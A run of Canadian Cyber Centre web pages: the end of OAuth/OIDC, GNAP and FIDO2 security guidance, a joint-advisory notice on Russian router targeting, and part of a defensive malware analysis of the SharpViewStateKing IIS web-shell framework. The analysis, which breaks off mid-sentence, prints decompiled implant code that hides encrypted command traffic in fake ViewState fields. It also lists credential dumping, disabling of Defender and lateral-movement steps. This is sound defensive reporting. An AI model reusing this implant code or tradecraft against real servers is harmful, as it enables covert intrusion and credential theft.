Connect">OIDC</abbr>, the request object should contain a unique "nonce" parameter. Authorization servers should verify the source of a request by verifying the <abbr title="JSON Web Signature">JWS</abbr>.</p> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <h3 id="a24">2.4 Tokens</h3> <h4>2.4.1 Token exchange</h4> <p>The Token Exchange allows a client to obtain access and ID tokens. The client should include the redirection <abbr title="uniform resource identifier">URI</abbr> value in the token request and ensure that the value is the same as in the corresponding authorization request.</p> <p>The authorization server should verify that an authorization code is only redeemed once. If there is an attempt to use it again, the authorization server should revoke all tokens issued for the authorization code.</p> <h4>2.4.2 Access tokens</h4> <p>Access tokens authorize a client to access a resource server on behalf of a user. The Cyber Centre recommends that implementations format access tokens as <abbr title="JSON Web Tokens">JWTs</abbr> that are signed and optionally encrypted.</p> <p>Access tokens should:</p> <ul><li>have a maximum lifetime of 3,600 seconds</li> <li>be passed in the HTTP header</li> <li>be associated to a single resource server</li> </ul><p>When using OAuth, the authorization details object should be included as a claim in the token.</p> <p>The Cyber Centre recommends the use of sender-constrained resource access tokens using 1 of the following methods:</p> <ul><li>mutual <abbr title="Transport Layer Security">TLS</abbr> as described in <a href="https://datatracker.ietf.org/doc/html/rfc8705"><abbr title="Internet Engineering Task Force">IETF</abbr> <abbr title="Request for Comments">RFC</abbr> 8705 OAuth 2.0 Mutual-<abbr title="Transport Layer Security">TLS</abbr> Client Authentication and Certificate-Bound Access Tokens</a></li> <li>demonstration of proof of possession as described in <a href="https://datatracker.ietf.org/doc/html/rfc9449"><abbr title="Internet Engineering Task Force">IETF</abbr> <abbr title="Request for Comments">RFC</abbr> 9449 OAuth 2.0 Demonstrating Proof of Possession (DPoP)</a></li> </ul><p>When mutual <abbr title="Transport Layer Security">TLS</abbr> is used, you should:</p> <ul><li>follow the <abbr title="Transport Layer Security">TLS</abbr> configuration guidance in <a href="/en/guidance/guidance-securely-configuring-network-protocols-itsp40062">Guidance on securely configuring network protocols (ITSP.40.062)</a></li> <li>bind access tokens to the client certificate</li> <li>ensure that any hash functions used in a confirmation method are compliant with <a href="/en/guidance/cryptographic-algorithms-unclassified-protected-protected-b-information-itsp40111">Cryptographic algorithms for UNCLASSIFIED, PROTECTED A, and PROTECTED B information (ITSP.40.111)</a></li> </ul><p>When demonstrating proof of possession (DPoP) is used, you should use a server-provided "<abbr title="demonstrating proof of possession">DPoP</abbr> nonce" and bind the authorization code to the <abbr title="demonstrating proof of possession">DPoP</abbr> key.</p> <h4>2.4.3 OpenID Connect ID tokens</h4> <p>This subsection only applies to <abbr title="OpenID Connect">OIDC</abbr>.</p> <p>An ID token contains claims asserting that the user has been authenticated. When an ID token and access token are issued together, the "at_hash" claim should be included in the ID token.</p> <p>The Cyber Centre recommends that all ID tokens be signed and that ID tokens returned from an authorization endpoint be encrypted. ID tokens returned from a token endpoint may optionally be encrypted.</p> <h4>2.4.4 Refresh tokens</h4> <p>A refresh token permits a client to obtain a new access or ID token without reauthenticating the user. The Cyber Centre recommends formatting refresh tokens as signed <abbr title="JSON Web Tokens">JWTs</abbr> which may optionally be encrypted.</p> <p>In addition, refresh tokens should be:</p> <ul><li>revokable and have an expiration time</li> <li>sender-constrained or one-time use</li> <li>used with refresh token rotation</li> </ul><p>When using <abbr title="OpenID Connect">OIDC</abbr>, if an ID token is being returned in a refresh response, this token should not contain the nonce that was in the original ID token.</p> <h3 id="a25">2.5 OpenID Connect UserInfo endpoint</h3> <p>This subsection only applies to <abbr title="OpenID Connect">OIDC</abbr>.</p> <p>A UserInfo endpoint permits clients to retrieve claims about an authenticated user. UserInfo requests should use the HTTP "GET" method and send access tokens using the "authorization" header field.</p> <p>The Cyber Centre also recommends that the UserInfo response be signed. The UserInfo response may optionally be encrypted after signing.</p> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <h2 id="a3">3 Grant Negotiation and Authorization Protocol</h2> <p>The Grant Negotiation and Authorization Protocol (GNAP) is specified in <a href="https://datatracker.ietf.org/doc/html/rfc9635/"><abbr title="Internet Engineering Task Force">IETF</abbr> <abbr title="Request for Comments">RFC</abbr> 9635 Grant Negotiation and Authorization Protocol (GNAP)</a> and <a href="https://datatracker.ietf.org/doc/html/rfc9767/"><abbr title="Internet Engineering Task Force">IETF</abbr> <abbr title="Request for Comments">RFC</abbr> 9767 Grant Negotiation and Authorization Protocol Resource Server Connections</a>. It defines a mechanism for a client software instance to make a request to an authorization server for delegated access to a user’s resources on a resource server and/or subject information.</p> <h3 id="a31">3.1 Client instance key</h3> <p>The client instance key is bound to the access token for a particular client instance and can be used by authorization servers to identify such an instance. Clients interacting with multiple authorization servers should use a different key for each server they interact with.</p> <p>Clients should use 1 of the following key formats:</p> <ul><li>jwk</li> <li>cert</li> <li>cert#S256</li> </ul><p>When using the jwk format, use 1 of the following algorithms for the "alg" parameter:</p> <ul><li>RSA-OAEP-256 (RSAES OAEP using SHA-256 and MGF1 with SHA-256)</li> <li>RSA-OAEP-384 (RSA-OAEP using SHA-384 and MGF1 with SHA-384)</li> <li>RSA-OAEP-512 (RSA-OAEP using SHA-512 and MGF1 with SHA-512)</li> <li>ECDH-ES (ECDH-ES using Concat KDF)</li> <li>ECDH-ES+A128KW (ECDH-ES using Concat KDF and "A128KW" wrapping)</li> <li>ECDH-ES+A192KW (ECDH-ES using Concat KDF and "A192KW" wrapping)</li> <li>ECDH-ES+A256KW (ECDH-ES using Concat KDF and "A256KW" wrapping)</li> <li>A128KW (AES Key Wrap using 128-bit key)</li> <li>A192KW (AES Key Wrap using 192-bit key)</li> <li>A256KW (AES Key Wrap using 256-bit key)</li> <li>A128GCMKW (Key wrapping with AES GCM using 128-bit key)</li> <li>A192GCMKW (Key wrapping with AES GCM using 192-bit key)</li> <li>A256GCMKW (Key wrapping with AES GCM using 256-bit key)</li> </ul><p>The Cyber Centre further recommends using of 1 of the following proof formats, which are defined in <abbr title="Request for Comments">RFC</abbr> 9635:</p> <ul><li>httpsig</li> <li>mtls</li> <li>jwsd</li> <li>jws</li> </ul><h3 id="a32">3.2 Grant response</h3> <p>Upon receiving a client instance request, the authorization server sends a grant response. In the grant response, 1 of the following token formats, defined in <abbr title="Request for Comments">RFC</abbr> 9767, should be used:</p> <ul><li>jwt-signed</li> <li>jwt-encrypted</li> </ul><p>Bearer tokens should not be used as access tokens outside trusted internal systems. All access tokens should be bound to a key. ID tokens should use the "id_token" assertion format, which is defined in <abbr title="Request for Comments">RFC</abbr> 9635.</p> <h3 id="a33">3.3 Interaction</h3> <p>The Cyber Centre recommends using the following:</p> <ul><li>the "redirect" interaction start mode</li> <li>the "redirect" interaction finish method</li> <li>1 of the following hash methods for the interaction finish hash method: <ul><li>sha-256</li> <li>sha-384</li> <li>sha-512</li> <li>sha3-256</li> <li>sha3-384</li> <li>sha3-512</li> </ul></li> </ul><div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <h2 id="a4">4 Fast Identity Online 2</h2> <p>Fast Identity Online 2 (FIDO2) is a framework consisting of 2 protocols: <a href="https://www.w3.org/TR/webauthn-2/">Web Authentication</a> (WebAuthn) and the <a href="https://fidoalliance.org/specs/fido-v2.2-ps-20250714/fido-client-to-authenticator-protocol-v2.2-ps-20250714.html">Client-to-Authenticator Protocol</a> (CTAP). When used together, they allow a server, known as the relying party, to authenticate an end user using public key cryptography-based passkeys rather than traditional passwords.</p> <p>The Cyber Centre recommends securing all communication between the relying party’s server and application with <abbr title="Transport Layer Security">TLS</abbr> configured according to the guidance in <a href="/en/guidance/guidance-securely-configuring-network-protocols-itsp40062">Guidance on securely configuring network protocols (ITSP.40.062)</a>. Client-side applications should verify the authenticity of the server before performing any actions on behalf of the server.</p> <p>Relying parties should use a WebAuthn application programming interface (API) provided by a web browser or operating system to perform FIDO2 operations.</p> <h3 id="a41">4.1 Credential registration</h3> <p>In the "PublicKeyCredentialCreationOptions" object:</p> <ul><li>the "attestation" option should be set to "direct"</li> <li>the "authenticatorSelection" option should have the following parameters: <ul><li>"residentKey" set to "required"</li> <li>"requireResidentKey" set to "true"</li> <li>"userVerification" set to "required"</li> </ul></li> <li>the "pubKeyCredParams" option should use 1 of the following for the "alg" parameter: <ul><li>ES256 (ECDSA w/ SHA-256)</li> <li>ES384 (ECDSA w/ SHA-384)</li> <li>ES512 (ECDSA w/ SHA-512)</li> <li>Ed25519 (EdDSA using Ed25519 curve)</li> <li>Ed448 (EdDSA using Ed448 curve)</li> <li>PS256 (RSASSA-PSS using SHA-256 and MGF1 with SHA-256)</li> <li>PS384 (RSASSA-PSS using SHA-384 and MGF1 with SHA-384)</li> <li>PS512 (RSASSA-PSS using SHA-512 and MGF1 with SHA-512</li> </ul></li> <li>if none of the above "alg" parameter values are available, it is sufficient to use 1 of the following: <ul><li>RS256 (RSASSA-PKCS1-v1_5 using SHA-256)</li> <li>RS384 (RSASSA-PKCS1-v1_5 using SHA-384)</li> <li>RS512 (RSASSA-PKCS1-v1_5 using SHA-512)</li> </ul></li> </ul><p>Relying parties should support the credential protection extension with the parameter "enforceCredentialProtectionPolicy" set to "true" and "credentialProtectionPolicy" set to "userVerificationRequired’.</p> <p>Attestation should be required in the response to the credential creation request. In addition, the relying party should only accept an attestation that chains to a root certificate from a trusted source.</p> <h3 id="a42">4.2 Authentication</h3> <p>The Cyber Centre recommends setting the "userVerification" option to "required" in the "PublicKeyCredentialRequestOptions" object.</p> <p>The authentication should fail if the signature count received in an authentication response is less than or equal to the signature count that the relying party currently associates with the credential.</p> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> </div> </div> </div> </div> </div> </div> </div> </article>

<article data-history-node-id="7949" about="/en/news-events/joint-guidance-improving-router-hygiene-protect-against-russian-state-sponsored-targeting" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><p>The Canadian Centre for Cyber Security (Cyber Centre) has joined the United States’ National Security Agency (NSA) and the following international partners in releasing cyber security guidance on improving router hygiene to protect against Russian state-sponsored targeting:</p> <ul><li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li> <li>Czech Republic’s National Cyber and Information Security Agency (NÚKIB)</li> <li>Danish Defence Intelligence Service (DDIS)</li> <li>Estonian Foreign Intelligence Service (EFIS)</li> <li>Estonian Information System Authority (RIA)</li> <li>Finnish Defence Intelligence Agency (FDI)</li> <li>Finnish Security and Intelligence Service (SUPO)</li> <li>French Cyber Security Agency (ANSSI)</li> <li>Italian External Intelligence and Security Agency (AISE)</li> <li>Italian Internal Intelligence and Security Agency (AISI)</li> <li>New Zealand’s National Cyber Security Centre (NCSC-NZ)</li> <li>Swedish National Cyber Security Centre (NCSC-SE)</li> <li>The Military Counterintelligence Service of Poland (SKW)</li> <li>United Kingdom’s National Cyber Security Centre (NCSC-UK)</li> <li>United States’ Cybersecurity and Infrastructure Security Agency (CISA)</li> <li>United States’ Department of Defense Cyber Crime Center (DC3)</li> <li>United States’ Federal Bureau of Investigation (FBI)</li> </ul><p>This joint guidance details how cyber actors from the Russian Federal Security Service (FSB) Center 16 continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically targeting multiple critical infrastructure sector networks. It builds on the <abbr title="US Federal Bureau of Investigation">FBI</abbr>’s public service announcement, <a href="https://www.ic3.gov/PSA/2025/PSA250820">Russian government cyber actors targeting networking devices, critical infrastructure</a>, concerning the decade-long <abbr title="Russian Federal Security Service">FSB</abbr> Center 16’s cyber activity. This guidance also provides additional tactics, techniques, and procedures to help defenders to better understand and counter the threat.</p> <p>The authoring agencies urge device owners and network defenders to take mitigation and remediation actions against Russian government-sponsored exploitation of vulnerable routers.</p> <p>Consult the full joint guidance: <a href="https://media.defense.gov/2026/Jul/09/2003959498/-1/-1/1/CSA_IMPROVE_ROUTER_HYGIENE.PDF">Improve router hygiene to protect against Russian state-sponsored targeting (PDF)</a>.</p> </div> </div> </div> </div> </div> </article>

<article data-history-node-id="7756" about="/en/news-events/sharpviewstateking-stealthy-implant-framework" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><p>The Canadian Centre for Cyber Security (Cyber Centre) is actively tracking a compromise that exploited several web shell payloads, enabling multiple hacking techniques. Following incident response activities, analysis revealed that the web shell was part of a stealthy implant framework called <strong>SharpViewStateKing</strong><sup id="fn1-rf"><a class="fn-lnk" href="#fn1"><span class="wb-inv">Footnote </span>1</a></sup>.</p> <p>The Cyber Centre has compiled a detailed analysis derived from a recent investigation to help defenders combat attacks leveraging these techniques. This analysis examines the <strong>use of standard ASP.NET HTTP requests to blend in with traffic</strong> and provides an <strong>in-depth characterization of the threat actor’s techniques</strong>, along with critical mitigation and detection guidance.</p> <section><details class="mrgn-tp-md"><summary><h2 class="h3">Table of contents</h2> </summary><ul class="list-unstyled"><li><a href="#1">Executive summary</a></li> <li><a href="#2">An incident overview</a></li> <li><a href="#3">Analysis of the incident</a></li> <li><a href="#4">Plugin capabilities observed during analysis</a></li> <li><a href="#5">Indicators of compromise and recommendations</a></li> <li><a href="#6">Cyber Centre tools and services</a></li> <li><a href="#7">Acknowledgments</a></li> <li><a href="#8">References</a></li> </ul></details></section><h2 class="text-info" id="1">Executive summary</h2> <p>In late December 2025, the Cyber Centre detected what appeared to be a web shell on a public-facing Microsoft Internet Information Services (IIS) server running a commercially available ASP.NET application. Incident response activities were initiated and analysis revealed that this web shell was part of a stealthy implant framework called SharpViewStateKing. This technical article aims to raise awareness, provide detection guidance, and highlight remediation actions associated with the malicious modules. What follows is derived from endpoint telemetry and process memory captured during the incident.</p> <h2 class="text-info" id="2">An incident overview</h2> <section class="alert alert-info"><p><strong>Note:</strong> MITRE ATT&amp;CK technique reference numbers have been integrated throughout the article to standardize threat descriptions.</p> </section><p>SharpViewStateKing is a modular framework consisting of a graphical user interface (GUI) that enables the loading of ASP.NET modules (plugins) into exploited <abbr title="Internet Information Services">IIS</abbr> servers.</p> <div class="clearfix"> </div> <figure><figcaption class="h4 text-center">Figure 1: SharpViewStateKing controller <abbr title="graphical user interface">GUI</abbr></figcaption><img alt="Fig 1: SharpViewStateKing controller GUI – Long description immediately follows" class="img-responsive" src="/sites/default/files/images/sharpviewstateking-fig1-e.png" /></figure><details><summary>Figure 1 long description – SharpViewStateKing controller <abbr title="graphical user interface">GUI</abbr></summary><p>The figure displays the <abbr title="graphical user interface">GUI</abbr> of the SharpViewStateKing controller, featuring a modular layout that enables the loading and management of ASP.NET plugins on compromised <abbr title="Internet Information Services">IIS</abbr> servers. The interface includes controls for selecting plugins, executing commands, and monitoring the status of loaded modules, designed to facilitate threat actor operations while remaining discreet.</p> </details><div class="clearfix"> </div> <p>Plugins are written in the C# programming language and embedded as serialized .NET objects in the <strong>Resource</strong> section of the SharpViewStateKing executable (<a href="https://attack.mitre.org/techniques/T1505/003/">T1505.003</a>, <a href="https://attack.mitre.org/techniques/T1620/">T1620</a>).</p> <div class="clearfix"> </div> <figure><figcaption class="h4 text-center">Figure 2: SharpViewStateKing payload-resource <abbr title="JavaScript Object Notation">JSON</abbr> file</figcaption><img alt="Fig 2: SharpViewStateKing payload-resource JSON file – Long description immediately follows" class="img-responsive" src="/sites/default/files/images/sharpviewstateking-fig2-e.png" /></figure><details><summary>Figure 2 long description – SharpViewStateKing payload-resource <abbr title="JavaScript Object Notation">JSON</abbr> file</summary><p><strong> </strong>The figure displays an <abbr title="hypertext transfer protocol">HTTP</abbr> response body rendered in a <abbr title="JavaScript Object Notation">JSON</abbr> inspector. The payload is a single <abbr title="JavaScript Object Notation">JSON</abbr> object whose keys correspond to remote procedure/command endpoints, and each value is a long base64-encoded binary blob. <abbr title="user interface">UI</abbr> controls and tabs indicate this is a developer or proxy tool viewing the structured response.</p> </details><div class="clearfix"> </div> <p>Remote code execution was achieved by leveraging compromised ViewState parameters in the ASP.NET application running on the compromised <abbr title="Internet Information Services">IIS</abbr> server<sup id="fn2-rf"><a class="fn-lnk" href="#fn2"><span class="wb-inv">Footnote </span>2</a></sup> (<a href="https://attack.mitre.org/techniques/T1190/">T1190</a>). Although the method of how these parameters were obtained is out of scope for this document, an example of how these were leveraged in a separate malware campaign can be found in the Cyber Centre’s publication on SharePoint vulnerabilities.</p> <p>Traditional web shells typically operate by creating a new page on the web server or by injecting code that intercepts <abbr title="hypertext transfer protocol">HTTP</abbr> requests directed to legitimate web pages. This enables threat actors to interact with the compromised server, as the web  shell can respond to requests from their command and control (C2) infrastructure. However, through the analysis of endpoint telemetry and process memory captured during the incident, the Cyber Centre identified a novel technique.</p> <p>This analysis indicated that the threat actor likely leveraged the SharpViewStateKing implant framework to deploy new compiled plugins for every command sent to the compromised server, rendering it functionally stateless (<a href="https://attack.mitre.org/techniques/T1620/">T1620</a>). Additionally, the deployed plugin code remained resident in memory, even when dormant, until the process restarted.</p> <p>Detection opportunities for this implant family are limited due to the following factors:</p> <ul><li>plugins are compiled on the threat actor’s host immediately before being sent to the target server. Since compilation actions did not take place on the exploited server, the <strong><code>csc.exe</code></strong> (C# compiler) process was never observed, and hash-based detections became challenging due to dynamically generated compilation timestamps that occur immediately prior to loading the module</li> <li>network communications occur over legitimate looking <abbr title="hypertext transfer protocol">HTTP</abbr> or <abbr title="hypertext transfer protocol secure">HTTPS</abbr> traffic. In this incident the traffic was encrypted over <abbr title="hypertext transfer protocol secure">HTTPS</abbr> which limited visibility (<a href="https://attack.mitre.org/techniques/T1071/001/">T1071.001</a>).</li> <li>plugins are loaded directly into the <abbr title="Internet Information Services">IIS</abbr> process memory on the compromised server. They were never written to disk (<a href="https://attack.mitre.org/techniques/T1620/">T1620</a>)</li> <li>loaded plugins do not appear in the list of loaded modules (dynamic-link library or DLL) for the <abbr title="Internet Information Services">IIS</abbr> server process</li> </ul><p>Despite these limitations, the Cyber Centre was able to identify several noteworthy insights:</p> <ul><li>C# can be decompiled back into a readable C# source code. Since it was compiled into an intermediate language (bytecode), the compilation process could be reversed using CCCS’ open-source file triage platform, <a href="/en/tools-services/assemblyline">Assemblyline</a>. By implementing a decompiler service for C# bytecode, custom YARA rules could be created to target C# code instead of compiled DLLs, resulting in more flexible detection rules</li> <li>with certain configurations, the Anti-Malware Scan Interface (AMSI) mechanism is triggered when .NET code modules are loaded into memory. Although the malware appeared to have <abbr title="Anti-Malware Scan Interface">AMSI</abbr>-bypass capabilities, they were not deployed during this specific incident, allowing traditional anti-virus programs to inspect the bytecode</li> <li>the implant uses a static string for the <strong><code>__VIEWSTATE</code></strong> parameter in <abbr title="hypertext transfer protocol">HTTP</abbr> POST requests. This string was found in process memory when the plugins were loaded</li> <li>in some scenarios, ViewState deserialization errors can be written to server logs when loading the plugins due to the hard-coded <strong><code>__VIEWSTATE</code></strong> However, in this incident no deserialization errors were observed</li> <li>also associated with the Godzilla implant, <strong><code>__SCROLLPATH</code></strong> and/or <strong><code>__SCROLLPOSITION</code></strong> header fields in <abbr title="hypertext transfer protocol">HTTP</abbr> server logs can be used as indicators. Since some legitimate software uses fields with these names, they were not strong indicators by themselves</li> <li>the compilation/link time in the resulting Portable Executable (PE) file header will be recent, within seconds of it being loaded. Since this is not uncommon for ASP.NET pages, they were not strong indicators by themselves</li> <li>detection opportunities will arise as the threat actor stages new capabilities on the compromised host or uses living off the land (LOTL) binaries as part of their post-exploitation activities. An effective method of detection was to monitor children of the <abbr title="Internet Information Services">IIS</abbr> <strong><code>w3wp.exe</code></strong> worker process</li> </ul><!–** TOP OF PAGE ******–><div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <h2 class="text-info" id="3">Analysis of the incident</h2> <p>Within the first 30 minutes of the incident, 67 distinct code modules based on their SHA-256 hash were deployed to the compromised host. Once decompiled, it became apparent that there was significant duplication. For example, 42 different copies of the FileUpload plugin, each with its own unique hash, were used to stage and execute several different capabilities via the RemoteExec plugin, as listed below:</p> <ul><li><strong>EfsPotato:</strong> one of many in the "Potato” exploit family, EfsPotato is an open-source local privilege escalation tool used in cyberattacks to elevate user permissions from a low-privileged service account to the highest level of authority on Windows systems (<strong><code>NT AUTHORITY\SYSTEM</code></strong>) (<a href="https://attack.mitre.org/techniques/T1068/">T1068</a>, <a href="https://attack.mitre.org/techniques/T1134/001/">T1134.001</a>)</li> <li><strong>SoftEther <abbr title="virtual private network">VPN</abbr>:</strong> open-source, cross-platform, multi-protocol <abbr title="virtual private network">VPN</abbr> client and <abbr title="virtual private network">VPN</abbr> server software used by the threat actor to traverse network address translation (NAT) and bypass firewalls for remote desktop protocol (RDP) connections (<a href="https://attack.mitre.org/techniques/T1133/">T1133</a>)</li> <li><strong>rar.exe:</strong> command-line file archiver and compression tool that is part of the powerful archive manager WinRAR; used to extract files staged for execution and compress files for exfiltration (<a href="https://attack.mitre.org/techniques/T1560/001/">T1560.001</a>)</li> <li><strong>secretsdump.exe:</strong> compiled version of the Impacket secretsdump.py<sup id="fn3-rf"><a class="fn-lnk" href="#fn3"><span class="wb-inv">Footnote </span>3</a></sup> tool used to extract various sensitive secrets from a host, including user hashes, data protection application programming interface (DPAPI) secrets, clear text credentials, and more (<a href="https://attack.mitre.org/techniques/T1003/002/">T1003.002</a>)</li> <li><strong>perunner.exe:</strong> tool used to extract memory from the Local Security Authority Subsystem Service (LSASS) process (<a href="https://attack.mitre.org/techniques/T1003/002/">T1003.002</a>)</li> <li><strong>fuck.exe:</strong> custom executable used to modify the <strong><code>ValidationKey</code></strong> and <strong><code>DecryptionKey</code></strong> values in the web.config of the compromised web application (<a href="https://attack.mitre.org/techniques/T1556/001/">T1556.001</a>)<br /> SHA-256: <strong><code>2FF2E5B7DA1A70886DB220E0806ABA24AD6648BA2DC40E101D5D718D1BCBD7B6</code></strong></li> <li><strong>bypass.exe: </strong>SHA-256: <strong><code>6DF013608D0BEC6D2743AD45108C43922DBFDE28DDBEC8B8D63F3E0B23401DF2</code></strong></li> <li><strong>HttpCgiModule.dll: </strong>32-bit component of the BadIIS implant<br /> SHA-256: <strong><code>637c7bd4d2b5c29cc2f6db802ed1cd4d4c9b49ef7e6751a38d22f9337361c2cf</code></strong></li> <li><strong>HttpFastCgiModule.dll: </strong>64-bit component of the BadIIS implant<br /> SHA-256: <strong><code>b6a009dc9984bf49e84e4885c87bcc0ce371f98ab2c28e71d5ebbcc0855adfce</code></strong></li> </ul><p>By leveraging the RemoteExec plugin, the threat actor created a new administrator account on the compromised host (<a href="https://attack.mitre.org/techniques/T1136/001/">T1136.001</a>) then launched <strong><code>wmic.exe</code></strong> to configure exclusions in Microsoft Defender (<a href="https://attack.mitre.org/techniques/T1562/001/">T1562.001</a>), effectively neutering it. The new account and the SoftEther <abbr title="virtual private network">VPN</abbr> access were then used to log in remotely via <abbr title="remote desktop protocol">RDP</abbr> and move laterally to other hosts using PsExec (<a href="https://attack.mitre.org/techniques/T1569/002/">T1569.002</a>, <a href="https://attack.mitre.org/techniques/T1021/002/">T1021.002</a>) and the credentials harvested using the tools listed above (<a href="https://attack.mitre.org/techniques/T1078/">T1078</a>).</p> <h2 class="text-info" id="4">Plugin capabilities observed during analysis</h2> <p>The information below is based on the SharpViewStateKing plugins deployed by the threat actor and extracted from <abbr title="Internet Information Services">IIS</abbr> process memory. To avoid redundancy, the following three methods were found in each of the payloads:</p> <h3>Constructor</h3> <p>The <abbr title="hypertext transfer protocol">HTTP</abbr> request handler (the communication interface) received encrypted commands from the threat actor, executed them, encrypted the results, then sent them back disguised as normal web traffic. The constructor’s logic is as follow:</p> <ul><li>gets the current <abbr title="hypertext transfer protocol">HTTP</abbr> context (the web request being processed) and associated <abbr title="hypertext transfer protocol">HTTP</abbr> objects</li> <li>extracts the <strong><code>__SCROLLPATH</code></strong> and/or <strong><code>__SCROLLPOSITION</code></strong> parameters from the request (threat actor-controlled input), then decodes from Base64 to get raw bytes</li> <li>calls <strong><code>Dec()</code></strong> to decrypt the raw bytes</li> <li>calls a plugin-specific function with these arguments to perform an action</li> <li>converts the output to UTF-8 bytes, calls <strong><code>Enc()</code></strong> to encrypt the bytes, then Base64-encodes the encrypted result</li> <li>disguises the output by embedding it in ASP.NET ViewState properties <ul><li> <pre> <code>&lt;input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTcyODc4…" /&gt;</code></pre> </li> <li>The prefix <strong><code>/wEPDwUKLTcyODc4</code></strong> remains static and mimics legitimate ViewState to avoid triggering security tools</li> </ul></li> <li>sends the response as HTML back to the threat actor</li> </ul><div class="clearfix"> </div> <h4 class="text-center">Figure 3: Constructor for FileUpload plugin</h4> <div class="container"> <pre> <code> public class FileUpload { public FileUpload() { HttpContext current = HttpContext.Current; try { if (HttpContext.Current != null) { HttpRequest request = current.Request; HttpResponse response = current.Response; byte[] content = Dec(Convert.FromBase64String(request["__SCROLLPOSITION"])); byte[] bytes = Dec(Convert.FromBase64String(request["__SCROLLPATH"])); string s = UploadFile(content, Encoding.UTF8.GetString(bytes)); response.Write("&lt;input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTcyODc4" + Convert.ToBase64String(Enc(Encoding.UTF8.GetBytes(s))) + "" /&gt;"); response.End(); } } catch (Exception ex) { current.Response.Write(ex.Message); current.Response.End(); } } } </code> </pre> </div> <details><summary>Figure 3 long description – Constructor for FileUpload plugin</summary><p>The figure shows a C# code snippet defining a FileUpload class whose constructor uses HttpContext.Current to handle an <abbr title="hypertext transfer protocol">HTTP</abbr> request and response within a try-catch block. It reads two Base64-encoded values from the request, decodes them into a byte array and a path string, calls UploadFile with the content and decoded path, then writes a hidden input containing an encoded VIEWSTATE value to the response before ending it. On exception, it writes the error message to the response and terminates the request.</p> </details><div class="clearfix"> </div> <h3>Decrypt function</h3> <p>This method decrypted data received from the threat actor via the <strong><code>__SCROLLPATH</code></strong> and/or <strong><code>__SCROLLPOSITION</code></strong> <abbr title="hypertext transfer protocol">HTTP</abbr> header fields. It was used in every observed plugin except for ListDirectory, which did not encrypt its lone path argument.</p> <p>Rijndael-128 in CBC mode (AES-128-CBC) is used as the encryption/decryption algorithm (<a href="https://attack.mitre.org/techniques/T1573/001/">T1573.001</a>). The first 32-bytes of the buffer passed to the function are used as the symmetric decryption key and initialization vector (IV).</p> <div class="clearfix"> </div> <h4 class="text-center">Figure 4: Decrypt function using Rijndael-128 in CBC mode (AES-128-CBC)</h4> <div class="container"> <pre> <code> public static byte[] Dec(byte[] data) { byte[] array = new byte[16]; byte[] array2 = new byte[16]; Array.Copy(data, 0, array, 0, 16); Array.Copy(data, 16, array2, 0, 16); Console.WriteLine(new Guid(array)); Console.WriteLine(new Guid(array2)); MemoryStream memoryStream = new MemoryStream(); RijndaelManaged rijndaelManaged = new RijndaelManaged(); rijndaelManaged.BlockSize = 128; rijndaelManaged.KeySize = 128; rijndaelManaged.Mode = CipherMode.CBC; rijndaelManaged.Padding = PaddingMode.PKCS7; CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateDecryptor(array2, array), CryptoStreamMode.Write); cryptoStream.Write(data, 32, data.Length – 32); cryptoStream.FlushFinalBlock(); return memoryStream.ToArray(); } </code> </pre> </div> <details><summary>Figure 4 long description – Decrypt function using Rijndael-128 in CBC mode (AES-128-CBC)</summary><p>The figure shows a C# method Dec that decrypts a byte array using Rijndael-128 in CBC mode (AES-128-CBC) with PKCS7 padding. It splits the input into two 16-byte segments for <abbr title="initialization vector">IV</abbr> and key, logs them as <abbr title="Global Unique Identifiers">GUIDs</abbr>, configures a Rijndael-managed instance (128-bit block and key sizes), then creates a CryptoStream to decrypt the remaining bytes (from offset 32 onward) and returns the resulting plaintext as a new byte array. The code uses a MemoryStream to collect the decrypted data and flushes the final block before conversion.</p> </details><div class="clearfix"> </div> <p>Since both values are written directly to the request data without any cryptographic protection of their own, they can be recovered from server <abbr title="hypertext transfer protocol">HTTP</abbr> logs or network captures. This is possible if <abbr title="hypertext transfer protocol">HTTP</abbr> was used as the application layer protocol, or if <abbr title="hypertext transfer protocol secure">HTTPS</abbr> was de-encapsulated. Leveraging these values to decrypt uploaded data would then be a trivial matter, using a tool like <a href="https://gchq.github.io/CyberChef/">CyberChef</a>.</p> <h3>Encrypt function</h3> <p>Plugins encrypt data before sending it back to the threat actor via the <abbr title="hypertext transfer protocol">HTTP</abbr> response using Rijndael-128 in CBC mode (AES-128-CBC) (<a href="https://attack.mitre.org/techniques/T1573/001/">T1573.001</a>). The symmetric encryption key and initialization vector (IV) are generated pseudo-randomly using <strong><code>Guid.NewGuid().ToByteArray()</code></strong> and prepended to the encrypted response data. The 